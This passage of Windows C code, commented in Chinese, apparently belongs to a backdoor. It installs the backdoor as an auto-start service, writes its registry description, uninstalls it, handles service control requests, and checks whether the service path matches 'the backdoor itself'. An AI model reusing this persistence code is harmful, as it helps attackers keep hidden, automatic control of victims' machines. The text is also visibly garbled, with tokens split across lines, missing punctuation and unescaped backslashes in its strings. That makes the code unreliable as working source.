        SERVICE_WIN32_OWN_PROCESS ,
        SERVICE_AUTO_START ,
        SERVICE_ERROR_NORMAL ,
        exeFilePath ,
        NULL ,
        NULL ,
        NULL ,
        NULL ,
        NULL
    );
    
    
if ( serviceHandle == 0 )
    {
        printf( 
"Create service error: %d\n", GetLastError() );

        CloseServiceHandle( serviceMangerHandle );
        
return FALSE;
    }
    
    wcscpy( tmpPath, L
"SYSTEM\CurrentControlSet\Services\" );
    wcscat( tmpPath, SERVICE_NAME );
    
    
if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
    {
        printf( 
"Open key %s error: %d\n", tmpPath, GetLastError() );
        
return FALSE;
    }

    RegSetValueEx( key, L
"Description"0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );
    
    RegCloseKey(key);

    
if!StartService( serviceHandle, 00 ) )
    {
        printf( 
"Install service ok, but start it error: %d\n", GetLastError() );
    }
    
else
    {
        printf( 
"Install service ok, start it ok.\n" );
    }

    CloseServiceHandle( serviceHandle );
    CloseServiceHandle( serviceMangerHandle );

    
return TRUE;
}

/**************************************************************************************************
* 删除服务
*************************************************************************************************
*/

BOOL ServiceUnstall( WCHAR 
*serviceName )
{
    SC_HANDLE scmHandle 
= OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
    
    
if ( scmHandle == NULL )
    {
        
return FALSE;
    }
  
    SC_HANDLE    scHandle 
= OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
    
    
if( scHandle == NULL )
    {
        CloseServiceHandle( scmHandle );
            
        
return FALSE;
    }
    
    DeleteService( scHandle );

    CloseServiceHandle( scHandle );
    CloseServiceHandle( scmHandle );
            
    
return TRUE;

}

/**************************************************************************************************
* 服务控制函数
*************************************************************************************************
*/

void ServiceControl( DWORD request )
{
    #ifdef DEBUG
        LogToFile( L
"ServiceControl: Into ServiceControl\n" );
    
#endif

    
switch ( request )
    {
        
case SERVICE_CONTROL_PAUSE:

            serviceStatus.dwCurrentState 
= SERVICE_PAUSED;

            
break;

        
case SERVICE_CONTROL_CONTINUE:

            serviceStatus.dwCurrentState 
= SERVICE_RUNNING;

            
break;

        
case SERVICE_CONTROL_STOP:
            
            #ifdef DEBUG
                LogToFile( L
"ServiceControl: Try to stop service\n" );
            
#endif
            
            serviceStatus.dwWin32ExitCode 
= 0;
            serviceStatus.dwCurrentState 
= SERVICE_STOP_PENDING;
            serviceStatus.dwCheckPoint 
= 0;
            serviceStatus.dwWaitHint 
= 0;

            
break;

        
case SERVICE_CONTROL_INTERROGATE:
            
            
break;
            
        
default:

            #ifdef DEBUG
                LogToFile( L
"ServiceControl: Error arguments\n" );
            
#endif

            
break;
    }

    
if!SetServiceStatus( hServiceStatus, &serviceStatus ) )
    {
        #ifdef DEBUG
            WCHAR    tmp[
256= { 0 };
            wsprintf( tmp, L
"ServiceMain: Control service error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
    }

    
return;
}

BOOL ServiceExists( WCHAR 
*path )
{
    WCHAR    tmpPath[MAX_PATH] 
= { 0 };
    HKEY    key;
    WCHAR    value[
512= { 0 };

    
int        type = REG_EXPAND_SZ;
    
int        size = sizeof(value);

    wcscpy( tmpPath, L
"SYSTEM\CurrentControlSet\Services\" );
    wcscat( tmpPath, SERVICE_NAME );
    
    
if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )
    {
        
//printf( "RegOpenKeyEx Error: %d\n", GetLastError() );        
        return FALSE;
    }

    
if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS )
    {
        
//printf( "RegQueryValueEx Error: %d\n", GetLastError() );
        
        
return FALSE;
    }

    
if( key )    RegCloseKey( key );

    
// 如果服务的程序路径等于后门本身,表示已经安装
    if0 == _wcsicmp( value, path ) )
    {
        
return TRUE;
    }

    
return FALSE;